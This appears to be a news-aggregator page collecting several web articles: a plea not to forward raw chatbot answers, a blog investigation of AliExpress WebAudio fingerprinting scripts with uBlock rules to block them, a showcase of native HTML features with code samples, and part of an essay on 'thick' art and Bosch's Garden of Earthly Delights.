10 interesting stories served every morning and every evening.

Don't paste the AI, please.

dontpastetheai.com

Prefer an­other lan­guage?

Don’t pastethe AI, please.

When some­one asks you some­thing, they want your an­swer. Not a wall of ChatGPT text. A short an­swer from a hu­man will al­ways be worth more than one from a ro­bot, even if the ro­bot is right.

What hap­pened

Someone asked you an hon­est ques­tion. You dumped it into a chat­bot, copied the an­swer, and sent it back. It felt fast. It felt help­ful. It was­n’t.

It might not look like it, but the per­son on the other side has the same tools you do. If they wanted the generic an­swer, they’d have it in a cou­ple of sec­onds. They asked you be­cause they wanted your take… Your con­text, your taste, your judg­ment.

The world is full of peo­ple who don’t want to read or think things through. Don’t be one of them.

Do this in­stead

You can use AI. Seriously! It’s a great tool for draft­ing. Just read what it gave to you , then write your own ver­sion, or pol­ish the text. Don’t be a mid­dle­man be­tween it and the an­swer.

Take the part that ac­tu­ally an­swers the ques­tion and ig­nore the rest. Three sen­tences is all it takes, and even if they’re copied, at least you read them.

If some part of the mod­el’s an­swer is gen­uinely use­ful, quote it and ex­plain why. I asked Claude and this bit here makes sense:”.

If you have noth­ing to add, just say so. No strong opin­ion here”. Silence is also an op­tion.

Want to send this to some­one?

If some­one just com­mit­ted a wall of LLM text in your DMs, Slack or code re­view, you can send them this link.

Click to copy.

Want a rougher ver­sion?

If you’d rather send a ver­sion with stronger feel­ings in­volved, we got you!

I wanna burn bridges 🔥

Might not have an amaz­ing re­cep­tion at work, but you do you

— with… Love? Everyone

spir­i­tual cousin of no­hello.net & don­task­toask.com.writ­ten by some ran­dom guy (believe it or not). Just like in the old days.

AliExpress webpage keeping multipoint Bluetooth headphones active with WebAudio fingerprinting

blog.laserphile.com

Recently I ran into a strange prob­lem with my Bluetooth head­phones. They sup­port mul­ti­point Bluetooth au­dio, so they can be con­nected to my PC and phone at the same time. Normally the PC takes pri­or­ity play­ing au­dio, with my phone be­ing able to play au­dio when noth­ing is play­ing on the PC.

Usually I lis­ten to mu­sic on my phone but with no­ti­fi­ca­tions or youtrube play­ing through the PC, this works re­li­ably un­til I open an AliExpress page in Firefox or Chrome (other browsers untested).

Shortly af­ter load­ing the AliExpress home­page, au­dio from my phone would stop play­ing. Closing the AliExpress tab fixes it im­me­di­ately. Muting the tab/​fire­fox/​Win­dows does not help, and there is no vis­i­ble video, mu­sic, or other me­dia play­ing on the page.

This seemed sus­pi­cious enough to in­ves­ti­gate.

Looking for hid­den me­dia

My first thought was an au­to­play­ing prod­uct video or ad­ver­tise­ment, so I checked for the usual sus­pects:

<audio> and <video> el­e­ments

calls to HTMLMediaElement.play()

ac­tive Media Session meta­data

me­dia re­quests

em­bed­ded frames con­tain­ing me­dia

None of these showed any­thing use­ful. There were no au­dio or video el­e­ments, no me­dia play­back calls, and nav­i­ga­tor.me­di­aSes­sion.play­back­State re­mained none.

A clue was that the prob­lem did not be­gin im­me­di­ately. It ap­peared af­ter the page had been sit­ting idle for sev­eral sec­onds. I in­stru­mented the page be­fore load­ing it and watched the Web Audio API in­stead of only look­ing for con­ven­tional me­dia el­e­ments.

The ba­sic idea was to wrap the AudioContext con­struc­tor and record when­ever a page cre­ated an au­dio-pro­cess­ing con­text:

const OriginalAudioContext = win­dow.Au­dio­Con­text;

win­dow.Au­dio­Con­text = class ex­tends OriginalAudioContext {

con­struc­tor(…args) {

su­per(…args);

con­sole.log(“Au­dio­Con­text cre­ated”, {

state: this.state,

stack: new Error().stack

});

}

};

I also wrapped AudioNode.prototype.connect() so I could see whether any­thing was con­nected to the con­tex­t’s au­dio des­ti­na­tion.

That fi­nally found it, two hid­den au­dio con­texts!

During an idle cap­ture of the AliExpress home­page, the page cre­ated two AudioContext ob­jects. Both en­tered the run­ning state and both con­nected nodes to AudioContext.destination.

At the same time there were still:

zero <audio> or <video> el­e­ments

zero me­dia play() calls

no ac­tive Media Session

no au­di­ble sound

The con­struc­tor stack traces pointed to two scripts:

https://​as­sets.aliex­press-me­dia.com/​g/​AWSC/​uab/​1.140.0/​col­lina.jshttps://​as­sets.aliex­press-me­dia.com/​g/​AWSC/​fireyejs/​1.231.67/​fireyejs.js

https://​as­sets.aliex­press-me­dia.com/​g/​AWSC/​uab/​1.140.0/​col­lina.js

https://​as­sets.aliex­press-me­dia.com/​g/​AWSC/​fireyejs/​1.231.67/​fireyejs.js

The first con­text was cre­ated by col­lina.js, while the sec­ond came from fireyejs.js. Both sit un­der an AWSC di­rec­tory and ap­pear to be part of Alibaba’s browser se­cu­rity and anti-abuse tool­ing.

The scripts are ex­tremely ob­fus­cated, but enough names and op­er­a­tions sur­vive for AI to work out what the au­dio code is do­ing.

What the au­dio code does

Both scripts build a WebAudio graph re­sem­bling this:

Sawtooth os­cil­la­tor    -> AnalyserNode    -> ScriptProcessorNode    -> GainNode set to zero    -> AudioContext.destination

Sawtooth os­cil­la­tor

-> AnalyserNode

-> ScriptProcessorNode

-> GainNode set to zero

-> AudioContext.destination

The os­cil­la­tor gen­er­ates a known wave­form. The analyser mea­sures the re­sult af­ter it has passed through the browser’s au­dio im­ple­men­ta­tion, and the script reads fre­quency data from it.

The gain is set to zero, so the user should not hear any­thing. However, the graph is still con­nected to the sys­tem au­dio des­ti­na­tion. Connecting it to the des­ti­na­tion causes the browser to ac­tively process the graph, even though the fi­nal vol­ume is zero.

This is very dif­fer­ent from an au­to­play­ing video. There is no me­dia el­e­ment for the browser’s nor­mal tab mute con­trol to stop. As far as the page is con­cerned, it is per­form­ing live au­dio pro­cess­ing.

In my case, that ap­pears to have been enough for Firefox or Windows to keep the Bluetooth au­dio path ac­tive, pre­vent­ing my mul­ti­point head­phones from switch­ing cleanly back to the phone.

This looks like fin­ger­print­ing

The WebAudio test is not the only mea­sure­ment in these scripts. Inspection of the bun­dles found code that queries or mea­sures:

can­vas ren­der­ing and to­DataURL()

WebGL ren­derer in­for­ma­tion, ex­ten­sions, and shader pre­ci­sion

au­dio os­cil­la­tor and analyser out­put

screen and view­port di­men­sions

de­vice pixel ra­tio

hard­ware con­cur­rency and de­vice mem­ory

in­stalled browser plu­g­ins

sup­ported au­dio and video for­mats

WebRTC be­hav­iour

browser per­for­mance tim­ing

mouse, touch, fo­cus, and scroll events

de­vice mo­tion and ori­en­ta­tion

prop­er­ties com­monly as­so­ci­ated with browser au­toma­tion

There is also code for se­ri­al­is­ing and en­crypt­ing re­sults, mak­ing re­quests to Alibaba teleme­try ser­vices, and send­ing data with fetch() or send­Bea­con().

This is a fairly com­pre­hen­sive browser and de­vice fin­ger­print.

Audio fin­ger­print­ing works be­cause small dif­fer­ences in browser ver­sions, op­er­at­ing sys­tems, au­dio li­braries, and hard­ware can pro­duce slightly dif­fer­ent re­sults from the same gen­er­ated sig­nal. It is not nec­es­sar­ily enough to uniquely iden­tify a de­vice by it­self, but it be­comes much more use­ful when com­bined with can­vas, WebGL, hard­ware, tim­ing, and in­ter­ac­tion data.

I can­not see what AliExpress does with the re­sult­ing data af­ter it reaches their servers. It may be used as a per­sis­tent de­vice iden­ti­fier, but it could also be one in­put into a fraud or bot-de­tec­tion score.

Why AliExpress would want this

AliExpress has plenty of rea­sons to dis­tin­guish nor­mal shop­pers from au­to­mated or sus­pi­cious clients as well as track­ing users brows­ing habits. The site has to deal with ac­count takeovers, fake ac­counts, scrap­ing, au­to­mated pur­chas­ing, pay­ment fraud, re­view ma­nip­u­la­tion, and abuse of coupons or new-cus­tomer pro­mo­tions. They also like most large busi­nesses make use of large datasets of user be­hav­iour to bet­ter mar­ket prod­ucts and ser­vices.

Cookies are not es­pe­cially re­li­able for this pur­pose be­cause they can be cleared, copied, or re­placed. A fin­ger­print made from many in­de­pen­dent browser mea­sure­ments is harder to ma­nip­u­late con­sis­tently.

Interaction data can also help de­ter­mine whether a browser is con­trolled by a per­son or au­toma­tion. From AliExpress’s per­spec­tive, this could re­duce fraud and al­low trusted cus­tomers through with­out show­ing a CAPTCHA every few pages. Not that Aliexpress shies away from their AI gen­er­ated CAPTCHAs.

Personally I do not want a shop­ping home­page silently ex­er­cis­ing my graph­ics, au­dio, WebRTC, hard­ware, and mo­tion APIs, etc, to track my be­hav­iours, es­pe­cially if it has such an an­noy­ing ef­fect as block­ing my mu­sic. Per­haps if AliExpress was­n’t block­ing my mu­sic I never would’ve looked into what the site was do­ing.

Blocking it with uBlock Origin

I tested block­ing the two iden­ti­fied script fam­i­lies. With both re­quests blocked, the AliExpress home­page con­tin­ued to ren­der and no AudioContext ob­jects or des­ti­na­tion con­nec­tions ap­peared dur­ing the con­trol cap­ture.

In Firefox, I use the of­fi­cial uBlock Origin ex­ten­sion by Raymond Hill. To block the scripts open the uBlock dash­board, se­lect My fil­ters, and add:

! AliExpress AWSC fin­ger­print­ing scripts||as­sets.aliex­press-me­dia.com/​g/​AWSC/​uab/*/​col­lina.js$script,do­main=aliex­press.com||as­sets.aliex­press-me­dia.com/​g/​AWSC/​fireyejs/*/​fireyejs.js$script,do­main=aliex­press.com

! AliExpress AWSC fin­ger­print­ing scripts

||as­sets.aliex­press-me­dia.com/​g/​AWSC/​uab/*/​col­lina.js$script,do­main=aliex­press.com

||as­sets.aliex­press-me­dia.com/​g/​AWSC/​fireyejs/*/​fireyejs.js$script,do­main=aliex­press.com

Click Apply changes, close any ex­ist­ing AliExpress tabs, and open the site again. Existing tabs need to be closed be­cause block­ing a script does not shut down an au­dio con­text that it has al­ready cre­ated.

These rules are de­lib­er­ately nar­row. They block only the two ob­served script fam­i­lies and only when re­quested by AliExpress. I would not be sur­prised if this stops work­ing in the fu­ture, I’ll cross that bridge when it comes to it.

Because these scripts ap­pear to be con­nected with anti-fraud sys­tems, block­ing them may cause ex­tra CAPTCHAs or prob­lems dur­ing lo­gin or check­out. So far the home­page and or­di­nary prod­uct brows­ing still work, but I would tem­porar­ily dis­able the rules if AliExpress re­fuses a le­git­i­mate lo­gin or pay­ment.

Why I am block­ing it

The anti-fraud use case is un­der­stand­able, but this im­ple­men­ta­tion has real world prob­lems.

It runs on the gen­eral shop­ping home­page be­fore I per­form a sen­si­tive ac­tion. It col­lects a broad set of de­vice and be­hav­ioural mea­sure­ments, the im­ple­men­ta­tion is de­lib­er­ately dif­fi­cult to in­spect, and there is no vis­i­ble in­di­ca­tion that the page has started a live au­dio-pro­cess­ing graph.

It also pro­duced a very real hard­ware side ef­fect. A silent fin­ger­print­ing test was able to in­ter­fere with Bluetooth mul­ti­point switch­ing, while the browser’s mute con­trol did noth­ing!

If a hid­den an­a­lyt­ics or se­cu­rity fea­ture can take own­er­ship of an au­dio path strongly enough to change how ex­ter­nal hard­ware be­haves, block­ing it seems like a rea­son­able trade-off.

I also can­not prove how long AliExpress stores the fin­ger­print or whether it is used across other Alibaba prop­er­ties. The client code proves that ex­ten­sive fin­ger­print-like mea­sure­ments are col­lected and trans­mit­ted, but server-side re­ten­tion and iden­tity link­age are not vis­i­ble from the browser. Can you re­ally trust any­one to have your best in­ter­ests at heart?

TL;DR

The AliExpress home­page silently cre­ates two run­ning WebAudio graphs from heav­ily ob­fus­cated Alibaba se­cu­rity scripts. The graphs gen­er­ate and analyse a wave­form as part of a much larger browser fin­ger­print, then con­nect through a zero-gain node to the sys­tem au­dio des­ti­na­tion pre­vent­ing the user from hear­ing any­thing.

On my setup, this ap­pears to keep the PCs Bluetooth au­dio path ac­tive and pre­vents mul­ti­point head­phones from switch­ing back to a phone. Muting the tab does not fix it be­cause there is no con­ven­tional me­dia el­e­ment to mute.

Blocking col­lina.js and fireyejs.js with the two uBlock Origin rules above pre­vented the hid­den au­dio con­texts from be­ing cre­ated and means I can hap­pily lis­ten to my mu­sic with­out be­ing in­ter­rupted while brows­ing Aliexpress.

HTML Can Do That

chrisburnell.com

HTML has been gob­bling up swathes of what used to be JavaScript’s re­mit. This page lists a bunch of dy­namic func­tion­al­ity that we can now achieve with just HTML.

Update 2026 – 08-20: I orig­i­nally built this page in one hour dur­ing HTML Day 2026 to write and cel­e­brate HTML, but I’ve since made some ed­its to bet­ter ex­press and high­light where the browser im­ple­men­ta­tion of some of this stuff is se­verely lack­ing and/​or com­pletely fails to meet ac­ces­si­bil­ity needs. So, by all means, try it out, but make it as ac­ces­si­ble as you can!

popover

Browser Support: popover →

Light dis­miss, Esc to close, no man­ag­ing z-in­dex to wran­gle it onto a top later. All man­aged with popover and popover­tar­get (and popover­tar­ge­tac­tion) at­trib­utes in HTML. (MDN)

No JavaScript, just mod­ern browser magic, thanks to the won­der­ful folks spec­c­ing for the web and build­ing our browsers!

<button popover­tar­get=“ex­am­ple-popover”>Tog­gle popover</​but­ton> <div id=“ex­am­ple-popover” popover> <p>No JavaScript, just mod­ern browser magic, thanks to the won­der­ful folks spec­c­ing for the web and build­ing our browsers!</​p> <button popover­tar­get=“ex­am­ple-popover” popover­tar­ge­tac­tion=“hide”>Close</​but­ton> </div>

<dialog>

Browser Support: di­a­log →

Similar thing go­ing on as popover here, ex­cept this time with a ded­i­cated el­e­ment for modal di­a­log boxes. (MDN)

See com­mand / com­mand­For be­low for an­other, more re­cently-land­ing fea­ture that al­lows us to open and close di­a­log el­e­ments (and will be use­ful for lots of other non-JS func­tion­al­ity, one day!).

Once again the popover at­tribute is do­ing some heavy-lift­ing here!

<button popover­tar­get=“ex­am­ple-di­a­log”>Tog­gle &lt;dialog&gt; popover</​but­ton> <dialog id=“ex­am­ple-di­a­log” popover> <p>Closed with just HTML via <code>&lt;form method=“di­a­log”&gt;</​code>, opened with the <code>popover</code> at­tribute.</​p> <button popover­tar­get=“ex­am­ple-di­a­log” popover­tar­ge­tac­tion=“hide”>Close</​but­ton> </dialog>

Even though it’s sort of against the spirit of this page, I want to in­clude this short snip­pet of how to in­ter­act with di­a­log el­e­ments in JavaScript:

This one is opened with .showModal() and closed with .close(), both called from JavaScript.

<button id=“ex­am­ple-di­a­log-js-open”>Open di­a­log</​but­ton> <dialog id=“ex­am­ple-di­a­log-js”> <p>This one is opened with <code>.showModal()</code> and closed with <code>.close()</code>, both called from JavaScript.</p> <button id=“ex­am­ple-di­a­log-js-close”>Close</​but­ton> </dialog>

doc­u­ment.getEle­ment­ById(“ex­am­ple-di­a­log-js-open”).ad­dE­ventLis­tener(“click”, () => { doc­u­ment.getEle­ment­ById(“ex­am­ple-di­a­log-js”).show­Modal() }) doc­u­ment.getEle­ment­ById(“ex­am­ple-di­a­log-js-close”).ad­dE­ventLis­tener(“click”, () => { doc­u­ment.getEle­ment­ById(“ex­am­ple-di­a­log-js”).close() })

Grouped <details>

Browser Support: de­tails name →

A shared name at­tribute turns a group of <details> into an ex­clu­sive ac­cor­dion. Open one and the oth­ers close au­to­mat­i­cally. Magic! (MDN)

Open the sec­ond one and watch this close on its own.

First one’s hid­den now.

<details name=“ex­am­ple-group”> <summary>First</summary> <p>Open the sec­ond one and watch this close on its own.</​p> </details> <details name=“ex­am­ple-group”> <summary>Second</summary> <p>First one’s hid­den now.</​p> </details>

com­mand & com­mand­for

Browser Support: in­voker com­mands →

Separate HTML but­tons con­trol­ling one popover. No script­ing. (MDN)

Note: So far only show-modal, close, re­quest-close, tog­gle-popover, show-popover, and hide-popover have landed sta­ble in browsers. We can look for­ward to in­vok­ers sup­ported in the fu­ture to in­cre­ment/​decre­ment val­ues, in­ter­act with me­dia el­e­ments, copy text, etc.

show-popover opens this and hide-popover closes it!

<button com­mand=“show-popover” com­mand­for=“ex­am­ple-com­mand-popover”>Open</​but­ton> <button com­mand=“hide-popover” com­mand­for=“ex­am­ple-com­mand-popover”>Close</​but­ton> <dialog id=“ex­am­ple-com­mand-popover” popover> <p><code>show-popover</code> opens this and <code>hide-popover</code> closes it!</​p> <button com­mand=“hide-popover” com­mand­for=“ex­am­ple-com­mand-popover”>Close</​but­ton> </dialog>

load­ing=“lazy”

Browser Support: load­ing-lazy-attr →

This im­age de­fers load­ing un­til it’s near the view­port. Not an IntersectionObserver in sight. (MDN)

<img src=“/​im­ages/​avatar@2x.jpeg” load­ing=“lazy” width=“200” height=“200″ alt=“a photo por­tait of Chris Burnell’s face”>

hid­den un­til-found

Browser Support: hid­den un­til-found →

Navigating to the frag­ment link be­low re­veals the hid­den sec­tion. The browser au­to­mat­i­cally re­moves hid­den=“un­til-found”. (MDN)

Note: This one’s still pretty new and only re­ally plays nicely with browser de­fault search, and not so well with screen reader search im­ple­men­ta­tions, for ex­am­ple. Still, one to keep in the back pocket for an­other day down the road!

<a href=“#ex­am­ple-un­til-found”>Jump to hid­den con­tent</​a> <div id=“ex­am­ple-un­til-found” hid­den=“un­til-found”> <p>Yahaha! You found me!</​p> </div>

Colour, Date & Time, Range Inputs

Browser Support: in­put-color →, in­put-range →, in­put-date­time →

Colour, range, and date pick­ers, built right into the browser. (MDN: Color Input, MDN: Range Input, MDN: Color Input)

Warning! Some of these el­e­ments feel a lit­tle un­fin­ished. I’m hop­ing that we can ex­pect form el­e­ments to re­ceive some more love over the com­ing years, but at this point in time, the im­ple­men­ta­tions ship­ping in browsers are still lack­ing. I would tread very care­fully with us­ing some of these. You can ex­pect things like the de­fault browser styles of these el­e­ments to vary pretty wildly be­tween browsers and for the ac­ces­si­bil­ity ex­pe­rienecs to be very poor. Be wary of the many pit­falls!

Colour

Range

Date

<label>Colour <input type=“color” value=“#5f8aa6″ au­to­com­plete=“off”></​la­bel> <label>Range <input type=“range” min=“0” max=“100″ value=“50” au­to­com­plete=“off”></​la­bel> <label>Date <input type=“date” au­to­com­plete=“off”></​la­bel>

<datalist>

Browser Support: datal­ist →

Native au­to­com­plete sug­ges­tions, no drop­down li­brary re­quired. (MDN)

Warning! Support for this across in­put types is still pretty spotty, and there are also a num­ber of is­sues in its im­ple­men­ta­tion in browsers. See Adrian Roselli’s Under-Engineered Comboboxen for more info. You might even want to skip us­ing this for now, and keep an eye on it to see if it im­proves over the new few years.

<label>Favourite HTML el­e­ment <input type=“text” id=“ex­am­ple-datal­ist-in­put” list=“ex­am­ple-datal­ist” au­to­com­plete=“off”></​la­bel> <datalist id=“ex­am­ple-datal­ist”> <option value=“a”> <option value=“abbr”> <option value=“ad­dress”> <!– … –> </datalist>

Written and built by Chris Burnell for HTML Day 2026 dur­ing the Online Event run by Zachary Kai on Saturday, 8th August 2026.

I wel­come cor­rec­tions or amends to this page! I am not an ex­pert, but I’ve at­tempted to rep­re­sent things hon­estly. Do not use this page to jus­tify de­ci­sions to your boss. Or your­self. Don’t for­get that not every­one browses the web like you do. And have fun with these new-ish fea­tures of HTML!

I like 'em thick

www.experimental-history.com

I owe an apol­ogy to every English teacher I ever had. I al­ways as­sumed that so-called great” lit­er­a­ture was a hoax, a pun­ish­ment in­flicted upon ado­les­cents for the crime of be­ing young. These books did not have any­thing spe­cial about them, and cov­er­ing up that fact was sim­ply a make-work ex­er­cise for for­mer English ma­jors, a sort of jobs for snobs” pro­gram.

I was wrong about this. There is such thing as great­ness. More specif­i­cally, there is such thing as thick­ness. Great works of fic­tion—for that mat­ter, great works of any art—un­furl in re­sponse to your at­ten­tion. The more time you spend with them, the more you get out of them. That kind of re­spon­sive­ness is so ad­dict­ing that it can lead peo­ple to do crazy things, like try to teach lit­er­a­ture to high school­ers.

But thick­ness is tricky, be­cause re­ward­ing the care­ful reader of­ten means re­pelling the ca­sual one. And this is where I would like an apol­ogy in re­turn from my English teach­ers, be­cause while this might have been ob­vi­ous to them, they never made it ob­vi­ous to me.

I was pre­sented with art and lit­er­a­ture as if it was self-ex­plana­tory, and that every­thing won­der­ful about it was plainly vis­i­ble from the out­side. But those works were much more like dark, wind­ing caves with trea­sure stashed in­side of them. My teach­ers were like, Right, well, into the cave you go!” and I was like But there’s noth­ing in there” and they were like Entering the cave is 30% of your grade” and so I took a few steps into the dark­ness and I was like Just as I sus­pected: an empty cave” and then I came trudg­ing back out and pre­tended that I saw some­thing.

But if some­one had out­fit­ted me ap­pro­pri­ately, if they warned me that you have to bring one of those crank-up flash­lights and you might have to shimmy through some nar­row an­techam­bers and spelunk through some flooded pas­sage­ways, but that even­tu­ally you would reach a room full of un­told riches—well, maybe I would have ac­tu­ally tried.

Instead, I had to learn about thick­ness by look­ing at a guy’s butt.

For most of my life, I treated art mu­se­ums like celebrity scav­enger hunts. The point of vis­it­ing was to see in per­son the thing you had seen on a screen or in a book; the goal was col­lec­tion rather than con­tem­pla­tion. And so I would power-walk through the gal­leries, scan­ning the plac­ards for fa­mous names, rush­ing over when­ever one of my com­pan­ions would hiss, Oh, this one’s a Van Gogh!”

This ended when I en­coun­tered The Garden of Earthly Delights, a trip­tych painted by the Dutch mas­ter Hieronymous Bosch. When I went to col­lect that one, I got stuck. I wanted to stand in front of it for­ever.

It’s a paint­ing from 500 years in the past that looks like a paint­ing from 500 years in the fu­ture. Every cor­ner of it is filled with freakish rid­dles” and irresponsible phan­tas­mago­ria”, in the words of art critic Wilhelm Fränger. For ex­am­ple, what is go­ing on with this dude?

Or this lil guy here?

In the third panel of the trip­tych, there’s a scene of some in­stru­ments, some naked dudes, and some kind of pink de­mon with an alarm­ingly long tongue. Look closely, and you’ll see one of the naked dudes has some mu­sic printed on his butt (helpfully, one of his friends is point­ing at it, as if to say, dude you have some mu­sic on your butt”).

In 2012, a stu­dent at Oklahoma Christian University named Amelia Hamrick no­ticed the butt mu­sic and de­cided to tran­scribe it, record it, and post it to her blog, cat­a­pult­ing her to in­stant world­wide fame.

When I started writ­ing this sec­tion, I in­tended to in­clude this fact as a fun lit­tle Easter egg—look how thick this paint­ing is, that it goes to the trou­ble of writ­ing an ac­tual song on a guy’s hiney!

But it turns out I got this all wrong, and the paint­ing was even thicker than I thought. While re­search­ing the story, I stum­bled upon three mag­is­te­r­ial blog posts by Ian Pittman, an ex­pert on me­dieval mu­sic. He ar­gues:

Hamrick was not the first to res­ur­rect the butt mu­sic. It was also done by the Swedish group Vox Vulgaris in 2003, Atrium Musicae in 1978 (from the LP Codex Gluteo), and, ac­cord­ing to a now-deleted an­gry com­ment, by some art his­tory pro­fes­sors in 1981 and 1961, whose era­sure from this story has left them quite, if you will, but­thurt.

Hamrick was not the first to res­ur­rect the butt mu­sic. It was also done by the Swedish group Vox Vulgaris in 2003, Atrium Musicae in 1978 (from the LP Codex Gluteo), and, ac­cord­ing to a now-deleted an­gry com­ment, by some art his­tory pro­fes­sors in 1981 and 1961, whose era­sure from this story has left them quite, if you will, but­thurt.

The butt mu­sic is not mu­sic at all. It lacks a clef, the notes are spaced out ran­domly, and one of the staffs has a dif­fer­ent num­ber of lines. If you try to turn it into a co­her­ent song, you’re ba­si­cally mak­ing things up—or as we would call it if an LLM did it, hal­lu­ci­nat­ing. (Perhaps this is why every ren­di­tion of the butt mu­sic has sounded so dif­fer­ent.)

The butt mu­sic is not mu­sic at all. It lacks a clef, the notes are spaced out ran­domly, and one of the staffs has a dif­fer­ent num­ber of lines. If you try to turn it into a co­her­ent song, you’re ba­si­cally mak­ing things up—or as we would call it if an LLM did it, hal­lu­ci­nat­ing. (Perhaps this is why every ren­di­tion of the butt mu­sic has sounded so dif­fer­ent.)

Bosch in­tended the butt mu­sic to be un­playable. If you look across his works, un­der­stand the con­text of his life, and spend a lit­tle ex­tra time in­spect­ing The Garden of Earthly Delights, you re­al­ize that Bosch thought sec­u­lar mu­sic was a one-way ticket to hell. (Church mu­sic was a-ok, as long as it was for the glory of god and not the glory of the play­ers.) That’s why he de­picted so many mu­si­cians be­ing tor­tured: one of them is trapped in­side a drum that’s be­ing beaten by some kind of rac­coon de­mon, an­other is be­ing cru­ci­fied on a harp, and the butt mu­sic guy him­self is be­ing crushed by a gi­ant lute. For Bosch, putting ac­tual mu­sic on a guy’s ass would be like the FBI hand­ing out copies of the Anarchist Cookbook.

Bosch in­tended the butt mu­sic to be un­playable. If you look across his works, un­der­stand the con­text of his life, and spend a lit­tle ex­tra time in­spect­ing The Garden of Earthly Delights, you re­al­ize that Bosch thought sec­u­lar mu­sic was a one-way ticket to hell. (Church mu­sic was a-ok, as long as it was for the glory of god and not the glory of the play­ers.) That’s why he de­picted so many mu­si­cians be­ing tor­tured: one of them is trapped in­side a drum that’s be­ing beaten by some kind of rac­coon de­mon, an­other is be­ing cru­ci­fied on a harp, and the butt mu­sic guy him­self is be­ing crushed by a gi­ant lute. For Bosch, putting ac­tual mu­sic on a guy’s ass would be like the FBI hand­ing out copies of the Anarchist Cookbook.

So the butt mu­sic is not a se­cret, but a warn­ing: If you play mu­sic out­side of a church con­text, demons will tor­ture you for eter­nity.” I find this funny, be­cause I grew up amidst a moral panic over rap mu­sic; just imag­ine grow­ing up in a moral panic over all mu­sic. Oh, your heart will go on, Celine Dion? No, your heart will be torn from your chest and fed to the slaver­ing ser­vants of Beelzebub.”

So that’s what thick­ness looks like, but what is it? What makes some­thing thick?

There is no straight­for­ward an­swer to this ques­tion, which is what makes thick­ness both rare and re­mark­able in the first place. But I think there are four thick­en­ing agents worth con­sid­er­ing:

Thick art bears the marks of ap­proaches at­tempted and dis­carded, a pile of scraps larger than the fin­ished pro­ject. For ex­am­ple, here are four ver­sions of the same idea from the artist Hokusai, one pro­duced when he was 33, an­other when he was 44, an­other at 46, and an­other when he was 72, which is the one you’ll rec­og­nize.1

The Betty Crocker Corporation could put just egg pow­der into their cake mix, but they don’t, be­cause crack­ing an egg into a bowl al­lows peo­ple to pre­tend that they’re bak­ing. When you pre­sent your grandma with a birth­day cake, you want to feel like I made this for you, O Beloved Grandmama” and not like I dumped a bag of dust into a bowl and heated it up so open wide you old biddy.”

Thick art is like that: it gives you an egg to crack. It leaves space for some es­sen­tial in­gre­di­ent you bring your­self, so that the real ac­tion hap­pens in your mind, rather than on the page or the can­vas or the screen.

This ef­fect is of­ten too sub­tle to demon­strate in a sin­gle bul­let point, but here’s an ac­ces­si­ble ex­am­ple. The 11th Hour by Graeme Base reads like a nor­mal chil­dren’s book at first—oh look here are some beau­ti­ful pic­tures of an­i­mals, look at them play­ing board games, how nice, etc.

Only at the end of the story do you re­al­ize that a crime has been tak­ing place un­der your nose the whole time, and that the clues are hid­den in the de­tails of the pic­tures you’ve just been pag­ing through. The real ex­pe­ri­ence of the book is re-read­ing the book with this in mind.

Why this word, this scene, this char­ac­ter, and not some other one? Thin art has no an­swers; thick art does. Sometimes these rea­sons are known to the artist, and some­times they are not, much to the de­light and em­ploy­ment of Freudians every­where.

For ex­am­ple, did you know there’s lots of ears in Hamlet? There’s the poi­son-in-the-ear thing, of course, and char­ac­ters are al­ways eaves­drop­ping on each other and ex­hort­ing each other to lis­ten, but there’s also a lot of talk about ears (“in the porches of my ears”) and num­ber of odd ear-based metaphors (“the whole ear of Denmark”, like a mildewed ear”). Whether Shakespeare did this on pur­pose be­cause he had some kind of ear fetish, whether the muse whis­pered it to him in his sleep (and through what ori­fice?), and whether any reader no­tices it—these are all be­side the point. The re­cur­rence of these themes and im­ages cre­ates a depth that can be felt even if it is­n’t known, and end­lessly ex­plored if it is.2

Humans are mor­tal, for now. This means all of our ac­tions in­cur op­por­tu­nity costs, and so the greater the cost paid to cre­ate a work of art, the thicker it can get. There’s no guar­an­tee this will hap­pen, of course, and that risk is part of the thrill.

The Met Cloisters has these wooden al­tar­pieces from the 1400s that draw your at­ten­tion im­me­di­ately, I think be­cause the mind can sub­con­sciously cal­cu­late the time it must have taken to carve them, and it sends a sig­nal back to the eyes: im­por­tant. You know that you are not just see­ing a work of art, but the ex­pen­di­ture of a life.

Here’s an even more haunt­ing ex­am­ple. I once saw the ma­gi­cian duo Penn and Teller per­form live, and at the end of the show, Penn told us he was go­ing to swal­low fire. As he dipped the torch in gaso­line, he ex­plained that what he was about to show us is not a trick. Magicians are al­ways say­ing things like that, but in this case it’s true: there is no sleight of hand the pro­tects the fire-eater from the flames. They get blis­ters and burns, the fuel drips down their esoph­a­gus and poi­sons them, they suck the hy­dro­car­bons into their lungs and con­tract fire-eater’s pneu­mo­nia”. To watch some­one eat fire is to watch some­one shorten their lifes­pan for your en­ter­tain­ment.

When you leave the the­ater tonight, you’re go­ing to ask your­selves, How did they do it?’”, Penn said as he lit the torch. Instead, I’d like you to ask your­selves, Why did they do it?’“ And then he reared his head back and swal­lowed the flame.

The other way to un­der­stand thick­ness is to study its ab­sence.

Guys who work in bike shops like to joke about bi­cy­cle-shaped ob­jects—sure, that mass-pro­duced hunk of metal and plas­tic has a seat, ped­als, wheels, and han­dle­bars, but that does­n’t mean it’s a bike. When the ma­te­ri­als are so cheap and the con­struc­tion is so slap­dash, it de­serves an­other name en­tirely.

This ter­mi­nol­ogy comes in handy, be­cause it turns out there are also movie-shaped ob­jects and book-shaped ob­jects, art-shaped ob­jects and thought-shaped ob­jects. Just be­cause a se­ries of pic­tures flick­ered across the screen and the cred­its fol­lowed, that does­n’t mean it was a movie. Just be­cause it’s printed out and bound in card­board, that does­n’t mean it’s a book. There is an ad­di­tional essence that is nec­es­sary to turn some­thing from the shape of a thing into the ac­tual thing, and the dif­fer­ence be­tween hav­ing and lack­ing that essence is the dif­fer­ence be­tween a corpse and a per­son.

This essence is what makes fic­tion worth read­ing in the first place, but it’s hard to cap­ture in a para­graph, so let me show you some non­fic­tion in­stead, where you can spot the thin­ness in an in­stant. Here’s a pas­sage from a self-help book that a friend sent me re­cently:

You are built to per­form un­der pres­sure and that is ex­actly what you will do. Reminding your­self of this changes the mean­ing of those signs of stress that might oth­er­wise be seen as symptoms” of a prob­lem. In fact, re­search shows that sim­ply re­mind­ing some­one that their per­for­mance im­proves un­der pres­sure im­proves their ac­tual per­for­mance by 33 per­cent (Jamieson et al., 2018).

You are built to per­form un­der pres­sure and that is ex­actly what you will do. Reminding your­self of this changes the mean­ing of those signs of stress that might oth­er­wise be seen as symptoms” of a prob­lem. In fact, re­search shows that sim­ply re­mind­ing some­one that their per­for­mance im­proves un­der pres­sure im­proves their ac­tual per­for­mance by 33 per­cent (Jamieson et al., 2018).

